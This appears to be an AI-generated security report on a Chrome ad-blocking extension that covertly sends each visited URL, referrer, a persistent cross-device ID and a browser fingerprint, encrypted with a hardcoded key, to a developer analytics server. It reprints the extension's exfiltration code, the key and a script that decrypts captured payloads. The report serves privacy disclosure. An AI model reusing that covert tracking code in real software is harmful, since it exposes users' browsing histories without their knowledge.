Is YouTube AdBlock - Coffee Break for YouTube safe?

High risk

YouTube AdBlock - Coffee Break for YouTube transmits full browsing history and browser fingerprint to its developer analytics server on every page navigation.

On each tab update, the extension collects the current URL, referrer, user agent, language, OS and browser version, and timezone, encrypts the payload with a hardcoded AES-GCM key, and POSTs it to analytics.coffee-break.org. A persistent UUID stored in chrome.storage.sync ties these reports to a single user identity across all Chrome sessions and signed-in devices. The same UUID is also included in plain-text pings sent during YouTube ad-blocking activity.

Coffee Breakv1.6.0Chrome Web Store
75Risk

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

Full browsing history sent encrypted to analytics.coffee-break.org on every page

HighunwantedCWE-359Dynamic sandbox

Every page-load, the worker sends its URL, referring URL, a tracking ID, and a browser fingerprint to analytics.coffee-break.org, AES-encrypted with a built-in key.

What actually happens

You did this

You finish loading any web page in any tab.

Applies to every http and https URL, not just YouTube.

The extension did this

The extension sends the full address of that page, the page you came from, a tracking ID, and your browser fingerprint to analytics.coffee-break.org.

The transmission is encrypted with a key contained in the extension, so it is not visible in plain network logs.

Captured request

POSThttps://analytics.coffee-break.org/posthog

During dynamic analysis, five such POSTs were captured from the background service worker over a two-minute session covering navigations to x.com, en.wikipedia.org, www.youtube.com, and www.example.com. The body always has this shape; payload.data is the base64 of a 16-byte IV followed by the AES-GCM ciphertext and tag.

Headers
Content-Type
application/json;charset=utf-8
Body
{  "event_id": 1,  "payload": {    "data": "k3Jp2mQ7Yb8nVqRzL4Xa1c9TfWdSg0HuEoI…base64(IV‖ciphertext‖GCM-tag)…"  }}

Why you can't catch this in DevTools

The body sent to analytics.coffee-break.org carries only an encrypted blob in payload.data. The AES key needed to read it is hardcoded in the extension, so anyone with the extension can decrypt it. We did exactly that to recover the plaintext below.

Decoded value
[  {    "timestamp": "2026-06-15T12:11:13.402Z",    "client_time": 1781568673402,    "user_id": "282a90cd-bc17-45d0-b120-208b8e1dca5e",    "source_page": null,    "target_page": "https://en.wikipedia.org/wiki/Canary",    "method": "GET",    "protocol": "https:",    "domain": "en.wikipedia.org",    "user_agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36",    "accept_language": "en-US",    "os_name": "Linux",    "browser_name": "Chrome",    "os_version": "x86_64",    "browser_version": "128.0",    "timeZone": "Europe/London"  }]

Fields decrypted from each per-navigation POST to analytics.coffee-break.org

  • Page you visited
    https://en.wikipedia.org/wiki/Canary

    The full address of the page that just finished loading, including path and query string.

  • Page you came from
    https://www.google.com/search?q=canary

    The address of the previous page, building a trail of where you browsed before this one.

  • Persistent tracking ID
    282a90cd-bc17-45d0-b120-208b8e1dca5e

    A UUID that stays the same across sessions and devices, letting every visit be tied back to the same browser.

  • Browser fingerprint
    Chrome 128.0 / Linux x86_64 / en-US / Europe/London

    Your user agent, language, operating system, browser version, and time zone, which together help distinguish your device.

  • Timestamps
    2026-06-15T12:11:13.402Z / 1781568673402

    The exact time of the visit, both ISO and epoch, recording when you were active.

The code that does this

The navigation listener and the upload, from the extension's background script

Readable version

analytics.js — builds the payload and POSTs it encrypted

analytics.js
this.reportAction = async function (page_url, source_url) {  await this.getData();  await this.sendData(await this.prepareRequest([{    timestamp: (new Date()).toISOString(),    client_time: Date.now(),    user_id: this.data.uuid,    source_page: source_url,    target_page: page_url,    domain: new URL(page_url).hostname || 'Unknown',    user_agent: this.data.user_agent,    accept_language: this.data.accept_language,    os_name: this.data.os_name,    browser_name: this.data.browser_name,    os_version: this.data.os_version,    browser_version: this.data.browser_version,    timeZone: this.data.timeZone  }]));};this.sendData = async function (analytics_payload) {  var response = await fetch(analytics_url + '/posthog', {    method: 'POST',    headers: { 'Content-Type': 'application/json;charset=utf-8' },    body: JSON.stringify(analytics_payload),    mode: 'cors'  });};// initialization (end of file):self.stat = new self.PageStatistics(  '8b85e0449da1d2b9',  '5c1bc97b4e7c5b48',          // <- AES key  'https://analytics.coffee-break.org');self.stat.init();

Reproduce it yourself

Decrypts a captured payload.data value from a POST to analytics.coffee-break.org/posthog using the AES-128-GCM key hardcoded in the extension, recovering the plaintext browsing record.

Requires
  • Node.js 18+
decrypt-coffeebreak-payload.js · js
// Decrypt a captured analytics.coffee-break.org payload.// Usage: node decrypt-coffeebreak-payload.js '<base64 payload.data value>'// The key is the ASCII string hardcoded in analytics.js.const crypto = require('crypto');const KEY = Buffer.from('5c1bc97b4e7c5b48', 'utf8'); // 16 bytes -> AES-128-GCMconst b64 = process.argv[2];if (!b64) { console.error('pass the base64 payload.data value'); process.exit(1); }const blob = Buffer.from(b64, 'base64');const iv  = blob.subarray(0, 16);const tag = blob.subarray(blob.length - 16);const ct  = blob.subarray(16, blob.length - 16);const decipher = crypto.createDecipheriv('aes-128-gcm', KEY, iv);decipher.setAuthTag(tag);const pt = Buffer.concat([decipher.update(ct), decipher.final()]);console.log(pt.toString('utf8'));
How to run it
  1. 1Capture a POST to analytics.coffee-break.org/posthog, copy payload.data from the body.
  2. 2Run: node decrypt-coffeebreak-payload.js '<base64 string>'.
  3. 3The printed JSON is the plaintext record: target_page (visited URL) and user_id.

Persistent cross-device tracking ID sent to analytics.coffee-break.org

MediumunwantedCWE-200Dynamic sandbox

On first run the extension makes a UUID, stored in chrome.storage.sync and synced to every device on the account.

What actually happens

You did this

The extension runs for the first time on a device.

It reads chrome.storage.sync for an existing tracking ID and creates one if absent.

The extension did this

It generates a UUID, stores it in Chrome sync so it follows you across devices, and attaches it as user_id to data sent to analytics.coffee-break.org.

Because it lives in sync storage, the same ID appears on every device signed into the same Google account.

Captured request

POSThttps://analytics.coffee-break.org/posthog

Captured from the YouTube content script during dynamic analysis. Two such pings (tag yt_success / yt_error) were sent on www.youtube.com, each carrying the tracking UUID in plain text. The same UUID also appeared in the encrypted background per-navigation POSTs.

Headers
Content-Type
application/json
Body
{  "user_id": "282a90cd-bc17-45d0-b120-208b8e1dca5e",  "tag": "yt_success"}

What's stored on your device

The persistent tracking ID, kept in Chrome sync storage so it copies to every device on your account and is restored after reinstall.

Location
chrome.storage.sync key 'user_stat_uuid'
Contents
{  "user_stat_uuid": "282a90cd-bc17-45d0-b120-208b8e1dca5e"}

The code that does this

Where the UUID is created and where it leaves the device

Readable version

youtubeAdBlocker.js — reads the same UUID and pings it in plain text

content/youtubeAdBlocker.js
async function letusknow(o) {  var result = await chrome.storage.sync.get(['user_stat_uuid']);  var uuid = result['user_stat_uuid'];  if (!uuid) {    uuid = crypto.randomUUID();    chrome.storage.sync.set({ user_stat_uuid: uuid });  }  if (uuid && o === 1) {    eventping({ user_id: uuid, tag: 'yt_success' });  } else if (uuid && o === 0) {    eventping({ user_id: uuid, tag: 'yt_error' });  }}function eventping(data) {  fetch('https://analytics.coffee-break.org/posthog', {    method: 'POST',    headers: { 'Content-Type': 'application/json' },    body: JSON.stringify(data)  });}

Where the tracking ID is sent

    • analytics.coffee-break.org

    Developer analytics endpoint (/posthog). Gets the persistent user_id UUID in plain text from the YouTube content script, and encrypted with per-nav data from the service worker.

Where it sends data

Destinations our analysis observed YouTube AdBlock - Coffee Break for YouTube contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.

  • analytics.coffee-break.org

    YouTube AdBlock - Coffee Break for YouTube sends data to analytics.coffee-break.org. No other extension we have analyzed sends data here.

Updated 30 September 2026famhaodemcealnpfepcfbnofjjcccjap